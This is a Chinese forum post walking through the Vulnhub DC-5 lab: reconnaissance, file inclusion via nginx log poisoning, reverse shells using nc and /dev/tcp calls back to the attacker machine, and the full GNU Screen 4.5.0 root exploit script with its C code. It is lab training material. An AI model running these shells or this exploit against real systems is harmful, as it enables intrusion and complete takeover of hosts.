安全矩阵

 找回密码
 立即注册
搜索
查看: 2501|回复: 0

Vulnhub靶机DC系列-DC5

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-10-30 09:39:09 | 显示全部楼层 |阅读模式
原文链接:Vulnhub靶机DC系列-DC5

DC-5
                       
????:footer 文件包含,always shell man...and rm -rf /*,DC系列靶场永远不会让人失望,真的非常友好
                       
                       
????0x01 准备
                       
2、安装DC-5到虚拟机,并把DC-5的网络设置net模式,方便寻找存活主机
kali:192.168.44.128
DC-5:192.168.44.137

                       
看样子已经安装好了呢,让我们开始吧!????
                       
                       
????0x02 HACKING!!!
                       
                       
┌──(root????r00t)-[/home/r00t]
                       
└─# arp-scan -l
                       
Interface: eth0, type: EN10MB, MAC: 00:0c:29:f2:d7:dd, IPv4: 192.168.44.128
                       
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
                       
192.168.44.1    00:50:56:c0:00:08       VMware, Inc.
                       
192.168.44.2    00:50:56:f8:c2:19       VMware, Inc.
                       
192.168.44.137  00:0c:29:44:53:a5       VMware, Inc.
                       
192.168.44.254  00:50:56:fb:dc:24       VMware, Inc.
                       
                       
老规矩,nmap扫一下
                       
                       
┌──(root????r00t)-[/home/r00t]
                       
└─# nmap -T4 -A -p- 192.168.44.137
                       
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-19 14:37 CST
                       
Nmap scan report for 192.168.44.137
                       
Host is up (0.0015s latency).
                       
Not shown: 65532 closed ports
                       
PORT      STATE SERVICE VERSION
                       
80/tcp    open  http    nginx 1.6.2
                       
|_http-server-header: nginx/1.6.2
                       
|_http-title: Welcome
                       
111/tcp   open  rpcbind 2-4 (RPC #100000)
                       
| rpcinfo:
                       
|   program version    port/proto  service
                       
|   100000  2,3,4        111/tcp   rpcbind
                       
|   100000  2,3,4        111/udp   rpcbind
                       
|   100000  3,4          111/tcp6  rpcbind
                       
|   100000  3,4          111/udp6  rpcbind
                       
|   100024  1          38175/tcp   status
                       
|   100024  1          43084/tcp6  status
                       
|   100024  1          56927/udp   status
                       
|_  100024  1          59959/udp6  status
                       
38175/tcp open  status  1 (RPC #100024)
                       
MAC Address: 00:0C:29:44:53:A5 (VMware)
                       
Device type: general purpose
                       
Running: Linux 3.X|4.X
                       
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
                       
OS details: Linux 3.2 - 4.9
                       
Network Distance: 1 hop
                                               
TRACEROUTE
                       
HOP RTT     ADDRESS
                       
1   1.50 ms 192.168.44.137
                       
                       
????通过以上扫描信息可以得到该服务器端口开放信息:80-tcp、111-RPC、38175-RPC,现在来访问一下主页
                       


                       
????用dirb自带的wordlist目录字典扫一下目录看看
                       
                       
┌──(root????r00t)-[/home/r00t]
                       
└─# dirb http://192.168.44.137                                                        
                       
-----------------
                       
DIRB v2.22   
                       
By The Dark Raver
                       
-----------------
                       
START_TIME: Tue Oct 19 14:47:43 2021
                                               
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
                       
-----------------
                                               
GENERATED WORDS: 4612                                                        
                       
---- Scanning URL: http://192.168.44.137/ ----
                       
==> DIRECTORY: http://192.168.44.137/css/                                             
                       
==> DIRECTORY: http://192.168.44.137/images/                                          
                       
+ http://192.168.44.137/index.php (CODE:200|SIZE:4025)                                 
                       
                       
---- Entering directory: http://192.168.44.137/css/ ----
                       
                                                                                     ---- Entering directory: http://192.168.44.137/images/ ----                 
                       
                       
????哎,还是没有发现什么,回到主页再逛逛吧
                       

                       
????发现一个留言板提交,逛了一下有意思的是发现了个奇特的现象
                       
                       
这是还没有提交数据之前的
                       


                       
????这是提交之后的,然后每次往返都会刷新,然后访问thankyou.php后刷新也是一样,说明该站的模板全局调用配置有问题;thinkyou.php是调用了footer.php,然后判断是否存在文件包含漏洞。所以看有没有文件包含的漏洞得要用Wfuzz去测一下参数
                       
                       
wfuzz -z file,/usr/share/wfuzz/wordlist/general/common.txt http://192.168.44.137/thankyou.php?FUZZ
                                               
                       
抓到你了!
                       

file=/etc/hosts
                       
✅查看路径下的文件具体内容,看到了没?没有过滤进来的内容;意味着可以写php????,从哪写呢?服务器采用的是ngnix,操作会保存在log文件中,好戏在后头。
                       

                       
????用burpsuite可以发现日志的路径,这里字典的话自己脑洞去搜集和制作
                       

日志访问没有问题,现在把phpinfo()试试写进去


现在知道怎么做了吧嘻嘻嘻

                       
????后面来发现宝剑连不上去有点奇怪,用其他机器监听算了;在目标机上面写个可执行系统命令;
                       
passthru()-执行外部程序并显示原始输出
                       

                       
????开启监听
                       

&拼接:rock=nc 192.168.44.128 666 -c /bin/bash

                       
????Done!
                       

​​
                       
┌──(root????r00t)-[/home/r00t]
                       
└─# nc -lvvp 666
                       
listening on [any] 666 ...
                       
192.168.44.137: inverse host lookup failed: Host name lookup failure
                       
connect to [192.168.44.128] from (UNKNOWN) [192.168.44.137] 57373
                                               
ls
                       
about-us.php
                       
contact.php
                       
css
                       
faq.php
                       
footer.php
                       
images
                       
index.php
                       
solutions.php
                       
thankyou.php
                       
                       
????这个shell实在是shit,所以尝试用python交互式发现失败了
                       
                       
python -c “import pty;pty.spawn(‘/bin/bash’)
                       
sent 55, rcvd 92
                       

                       
????直接在目标机上面执行 bash -i >& /dev/tcp/192.168.44.128/777 0>&1
                       

                       
????现在清爽许多
                       

                       
????拿到shell之后赶紧查询靶场的特性,找一下特殊权限可执行的文件
                       
                       
www-data@dc-5:~/html$ cd /root/
                       
cd /root/
                       
bash: cd: /root/: Permission denied
                       
www-data@dc-5:~/html$ id
                       
id
                       
uid=33(www-data) gid=33(www-data) groups=33(www-data)
                       
www-data@dc-5:~/html$ find / -perm -4000 -type f 2>/dev/null
                       
find / -perm -4000 -type f 2>/dev/null
                       
/bin/su
                       
/bin/mount
                       
/bin/umount
                       
/bin/screen-4.5.0
                       
/usr/bin/gpasswd
                       
/usr/bin/procmail
                       
/usr/bin/at
                       
/usr/bin/passwd
                       
/usr/bin/chfn
                       
/usr/bin/newgrp
                       
/usr/bin/chsh
                       
/usr/lib/openssh/ssh-keysign
                       
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
                       
/usr/lib/eject/dmcrypt-get-device
                       
/usr/sbin/exim4
                       
/sbin/mount.nfs
                       
www-data@dc-5:~/html$
                       
                       
????Linux screen命令用于多重视窗管理程序,目前各大佬都是用这个已有的漏洞来提权,所以搜一下漏洞库里面有没有:searchploit screen 4.5.0
                       
                       
┌──(root????r00t)-[/home/r00t]
                       
└─# searchsploit screen 4.5.0                                                                                                                              
                       
---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
                       
Exploit Title                                                                                                              |  Path
                       
---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
                       
GNU Screen 4.5.0 - Local Privilege Escalation                                                                               | linux/local/41154.sh
                       
GNU Screen 4.5.0 - Local Privilege Escalation (PoC)                                                                         | linux/local/41152.txt
                       
---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
                       
Shellcodes: No Results
                                               
┌──(root????r00t)-[/home/r00t]
                       
└─#                        
                       
                       
????也可以上在线漏洞库去找https://www.exploit-db.com/
                       
                       
????看一下poc
                       
                                               
Commit f86a374 ("screen.c: adding permissions check for the logfile name",
                       
2015-11-04)
                                               
The check opens the logfile with full root privileges. This allows us to
                       
truncate any file or create a root-owned file with any contents in any
                       
directory and can be easily exploited to full root access in several ways.
                       
--------------------------------------------------------------------------
                       
#:该检查以完全root权限打开日志文件。可以能够
                       
截断任何文件或创建一个root权限的文件,其中包含任何目录,
                       
可以通过多种方式轻松利用它进行完全根访问。(可以进行完全访问)
                                               
> address@hidden:~$ screen --version
                       
> Screen version 4.05.00 (GNU) 10-Dec-16
                       
> address@hidden:~$ id
                       
> uid=125(buczek) gid=125(buczek)
                       
groups=125(buczek),15(users),19(adm),42(admin),154(Omp3grp),200(algrgrp),209(cdgrp),242(gridgrp),328(nchemgrp),407(hoeheweb),446(spwgrp),453(helpdesk),512(twikigrp),584(zmgrp),598(edv),643(megamgrp),677(greedgrp),5000(abt_srv),16003(framesgr),16012(chrigrp),17001(priv_cpw)
                       
> address@hidden:~$ cd /etc
                       
> address@hidden:/etc (master)$ screen -D -m -L bla.bla echo fail
                       
> address@hidden:/etc (master)$ ls -l bla.bla
                       
> -rw-rw---- 1 root buczek 6 Jan 24 19:58 bla.bla
                       
> address@hidden:/etc (master)$ cat bla.bla
                       
> fail
                       
> address@hidden:/etc (master)$
                                               
Donald Buczek
                                               

                                               
┌──(root????r00t)-[/home/r00t]                                                                                                                              └─# cp /usr/share/exploitdb/exploits/linux/local/41154.sh ./tiquan/
                       
┌──(root????r00t)-[/home/r00t]                                                                                                                                  └─# ls ./tiquan/
                       
41154.sh                                                                                                                                                   ┌──(root????r00t)-[/home/r00t]                                                                                                                                  └─#                                                                                                                                                                       
                       
                       
????查看一下shell脚本
                       
                       
┌──(root????r00t)-[/home/r00t/tiquan]
                       
└─# cat 41154.sh
                       
#!/bin/bash
                       
# screenroot.sh
                       
# setuid screen v4.5.0 local root exploit
                       
# abuses ld.so.preload overwriting to get root.
                                               
# HACK THE PLANET
                       
# ~ infodox (25/1/2017)
                       
echo "~ gnu/screenroot ~"
                       
echo "[+] First, we create our shell and library..."
                       
cat << eof=""> /tmp/libhax.c
                       
#include
                       
#include
                       
#include
                       
__attribute__ ((__constructor__))
                       
void dropshell(void){
                       
    chown("/tmp/rootshell", 0, 0);
                       
    chmod("/tmp/rootshell", 04755);
                       
    unlink("/etc/ld.so.preload");
                       
    printf("[+] done!\n");
                       
}
                       
EOF
                       
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
                       
rm -f /tmp/libhax.c
                       
cat << eof=""> /tmp/rootshell.c
                       
#include
                       
int main(void){
                       
    setuid(0);
                       
    setgid(0);
                       
    seteuid(0);
                       
    setegid(0);
                       
    execvp("/bin/sh", NULL, NULL);
                       
}
                       
EOF
                       
gcc -o /tmp/rootshell /tmp/rootshell.c
                       
rm -f /tmp/rootshell.c
                       
echo "[+] Now we create our /etc/ld.so.preload file..."
                       
cd /etc
                       
umask 000 # because
                       
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
                       
echo "[+] Triggering..."
                       
screen -ls # screen itself is setuid, so...
                       
/tmp/rootshell
                       
                       
????这里说两种方法:1、把里面的代码拿出来另建可执行文件进行编译,EOF代表的是C代码段的结尾,里面有两个C代码片
                       
                                               
/*文件名:libhax.c*/
                       
#include
                       
#include
                       
#include
                       
__attribute__ ((__constructor__))
                       
void dropshell(void){
                       
    chown("/tmp/rootshell", 0, 0);
                       
    chmod("/tmp/rootshell", 04755);
                       
    unlink("/etc/ld.so.preload");
                       
    printf("[+] done!\n");
                       
}
                       
                                               
/*文件名:rootshell.c*/
                       
#include
                       
int main(void){
                       
    setuid(0);
                       
    setgid(0);
                       
    seteuid(0);
                       
    setegid(0);
                       
    execvp("/bin/sh", NULL, NULL);
                       
}
                       
                       
????拿出C部分之后的41154.sh如下脚本命令,跟着脚本命令去生成编译就行
                       

????现在挨个把C文件进行编译,生成libhax.so rootshell
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
gcc -o /tmp/rootshell /tmp/rootshell

                       
????目标机用wget下载这些到/tmp目录,启用python -m SimpleHttpServer 996 搭建临时文件服务器
                       
                       
2、 或者直接在目标机进行编译,转完格式上传,我这里新拷贝为cool.sh,里面的C代码也在里面
                       
                                               
┌──(root????r00t)-[/home/share]
                       
└─# dos2unix cool.sh
                       
dos2unix: 正在转换文件 cool.sh 为Unix格式...
                       
                       
????这里我自动化shell执行失败了,所以我又双叒按照里面去手动慢慢敲,这是/tmp下面已有的
                       

                       
????记得chmod
                       
                       
www-data@dc-5:/tmp$ cd /etc
                       
cd /etc
                       
www-data@dc-5:/etc$ umask 000
                       
umask 000
                       
www-data@dc-5:/etc$ screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
                       
<-D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"                       
                       
www-data@dc-5:/etc$ screen -ls
                       
screen -ls
                       
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
                       
[+] done!
                       
No Sockets found in /tmp/screens/S-www-data.
                                               
www-data@dc-5:/etc$ /tmp/rootshell  #执行rootshell
                       
/tmp/rootshell
                       
id
                       
uid=0(root) gid=0(root) groups=0(root),33(www-data)
                       
whoami
                       
root
                                               
cat /root/thisistheflag.txt
                       

                       
????‍????溜了溜了
                       


三、总结
  •        
    蜿蜒曲折
  •        
    了解Nginx的默认日志路径以及访问内容
  •        
    熟悉一句话木马原理
  •        
    学会网上寻找漏洞,随机应变
  •        
    熟悉使用wfuzz



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 00:37 , Processed in 0.020788 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表